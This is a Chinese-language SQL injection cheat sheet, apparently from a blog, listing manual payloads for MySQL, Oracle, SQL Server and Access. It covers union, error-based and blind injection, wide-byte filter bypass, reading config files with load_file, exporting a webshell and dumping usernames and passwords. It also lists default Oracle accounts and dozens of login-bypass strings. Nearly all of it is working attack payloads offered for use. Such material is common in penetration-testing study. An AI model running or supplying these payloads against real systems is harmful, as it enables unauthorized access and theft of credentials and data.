网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX)char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格

手工注射时出现的问题:
当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:/instrument.php?ID=13 and 1=2 union select 1,load_file(0x433A5C626F6F742E696E69),3,4,user()
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
/instrument.php?ID=13 and 1=2 union select 1,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

@apache+php+Mysql 正则注入

0x01 Mysql 手工注入

1.1 联合注入

 
?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

1.2 报错注入




爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)


爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#





1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:

exp() 报错的原理:
	exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,
	然后 ~ 取反它的值总会大于709,	
	所以报错。

updatexml() 报错的原理:
	由于 updatexml 的第二个参数需要 Xpath 格式的字符串,
	以 ~ 开头的内容不是 xml 格式的语法,	
	concat() 函数为字符串连接函数显然不符合规则,
	但是会将括号内的执行结果以错误的形式报出,
	这样就可以实现报错注入了。
 
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,
导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度

?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入
一般用到函数 sleep() BENCHMARK()
还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

 
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下,
当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

 
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.3.2 布尔盲注

 
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入,
此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,
一般这种注入会出现在
注册、ip头、留言板等等需要写入数据的地方,
同时这种注入不报错一般较难发现,

我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,
然后如果插入失败,更新失败,
然后深入测试确定是否存在注入

1.4.1 报错

 
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

1.4.2 盲注

 #int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)

#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)

# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句:
在没有被单引号包裹的sql语句下,
我们可以用16进制编码他,这样就不会带有单引号等。

 
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现,
通常见于注册,登录恶意账户后,
数据库可能会因为恶意账户名的问题,将 admin’–+ 误认为 admin 账户

宽字节注入:

针对目标做了一定的防护,
单引号转变为 \' , mysql 会将 \ 编码为 %5c ,

宽字节中两个字节代表一个汉字,
所以 把 %df 加上 %5c 就变成了一个汉字“運”,
使用这种方法成功绕过转义,就是所谓的宽字节注入

 id=-1%df' union select...

#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

0x00000000000000 - 杂技

MySQL注入思路:
1.判断注入点是否有读写权限
有 读取配置文件、用户名密码等;
magic_quotes_gpc为off ,直接导出一句话webshell。
//magic_quotes_gpc为on的时候,‘会被转成’,而写导出的绝对路径的时候又必须是用’括起

没有

判断MySQL版本,5.0以上
通过爆 获得用户名密码;
5.0以下或者5.0以上不能爆(比如限制了information_schema数据库)
盲注获得用户名密码。

//盲注: 通过返回页面的正确与否判断查询语句是否正确, 类似 Access数据库的注入

一个参数可能执行了多个查询语句
导致查不出字段数、没有数字回显
服务器开启了MySQL错误回显的话, 通过报错注入从报错信息中获取信息

MySQL数据库5.X版本的爆表爆列爆内容。
步骤一:判断注入点
单引号、and 1=1、and 1=2。

步骤二:order by和union select
通过order by查出字段数目N,然后联合查询。
and1=2 union select 1,2,3,4…,N–
//首先and 1=2报错,用单引号或在参数前加个"-“也行
// 和Access不同,后面可以不加"from 表名”;
最后面的"–“是注释符,注释掉后面的语句,防止出错,换成”/*"也行,也可以不加
//Access不支持注释符,MySQL和MSSQL支持

步骤三:查出基本信息
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
and1=2 union select 1,2,version(),4…,N–

//介绍几个常用函数:

  1. version()——MySQL版本
  2. user()——用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作 系统 版本

我们可以通过将对应函数放到显示位中查出相应信息

查找信息函数:

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六进制,作为分隔符 //防止连成一片
//在实际查的时候, 去掉 出错函数
比如@@verion_compile_os这个函数就经常出错

// MySQL官方手册http://dev. mysql .com/doc/

步骤四:爆表 爆列 爆用户名/密码

第一种:查表查列

  1. and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=库名十六进制 limit N,1)t limit 1–

  2. and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六进制 and table_schema=库名十六进制 limit N,1)t limit 1–

  3. and 1=2 union select 1,2,列名,4 from 表名

//改变N的值,查出一个个表名、列名

第二种:高级查表查列

  1. and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
  2. and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查的库名的十六进制 limit N,1
  3. and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六进制 limit N,1

//技巧:查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库
//找敏感的表,含有admin、manage或user之类的

第三种:爆表爆列

  1. and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
  2. and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=要爆的库名的十六进制
  3. and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
  4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名

//distinct表示不同,去掉爆出内容的重复部分,//可有可无
//在通过用group_concat()这个函数直接爆出所有库名、表名、列名、字段内容,可以提高速度,方便查找

第四种:高级爆表爆列

  1. and 1=2 union select 1,2,group_concat(distinct table_schema),4 from information_schema.columns
  2. and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.columns where table_schema=要爆的库名的十六进制
  3. and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
  4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名

// (http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)
//数据从information_schema.columns表里获取
information_schema.columns这个表里,
table_schema、table_name、column_name列
直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度

到这一步,我们的注入就算完成了,找后台解密登陆就是了。

  1. 当union select 1,2,3,4没有出现数字位时,
    把数字都换成null
    逐个尝试替换成数字或字符或直接换成version(),
    找到可以显示出来的那一位。貌似是因为对应变量类型不同的原因,

  2. 有些时候莫名其妙的就出错的时候(比如有数字显示位,而用替换函数(比如version())去替换时却返回空白页或报错)
    爆不出来的时候
    通过hex()或convert()等函数来
    解决可能的编码问题,比如hex(version())、unhex(hex(version()))、convert(version() using latin1)等等

  3. 把空格换成"+“或者”/**/"
    空格会被自动转成"%20",看着很乱,而且换过以后貌似能过一些过滤。

  4. 网站有过滤的时候,大小写变换绕过。
    /!select/,把容易被过滤的东西放到/!XXX/中
    一样可以正常查询,也就是/!select/=select。如果你还不放心那就这样/!sEleCt/

@Oracle

 用户名 / 密码 /登录身份/ 说明
sys/change_on_install	SYSDBA 或 SYSOPER	不能以 NORMAL 登录,可作为默认的系统管理员
system/manager	SYSDBA 或 NORMAL	不能以 SYSOPER 登录,可作为默认的系统管理员
sysman/oem_temp	 	 sysman 为 oms 的用户名
scott/tiger	NORMAL	普通用户
aqadm /aqadm	SYSDBA 或 NORMAL	高级队列管理员
Dbsnmp/dbsnmp	SYSDBA 或 NORMAL	复制管理员sysman 为 oms 的用户名
scott/tiger	NORMAL	普通用户
aqadm /aqadm	SYSDBA 或 NORMAL	高级队列管理员
Dbsnmp/dbsnmp	SYSDBA 或 NORMAL	复制管理员 

0x01 联合注入

 ?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

0x02 报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

0x03 盲注

布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,
Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下:


IF 条件=1 THEN
    RETURN(返回值1)
ELSIF 条件=2 THEN
    RETURN(返回值2)
    ......
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF
 ?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64--  #二分法

时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注,
这个函数可以指定延迟的时间

 
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

@SQL server





0x01 联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

0x02 报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

0x03 盲注

 1 布尔盲注
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
2 时间盲注
?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wai

Neo4j

是一个高性能的,NOSQL图形数据库,
它将结构化数据存储在网络上而不是表中。
它是一个嵌入式的、基于磁盘的、具备完全的事务特性的Java持久化引擎,
但是它将结构化数据存储在网络(从数学角度叫做图)上而不是表中。

neo4j.bat console

ACCESS


payload 
?id=1+and+select   探测waf


?id=abcd
access数据库不支持报错注入(不报错),也不能利用注释-是否报错来进行一个盲注


语句结构
?id=1+and+exists(


select后面不能直接跟任何占位空字符(%0d,%0a,%0c,%20,' ')    -ACCESS  遇到后端加正则
select(xxx)可以绕过这个逻辑
?id=1+and+exists(查询数据的语句)
通过盲注暴力猜解数据
?id=1+and+exists(sElect(1)+from+admin)
错误信息回显

万能密码

  

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1



asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便



PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
 
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*

你可能感兴趣的:(前端)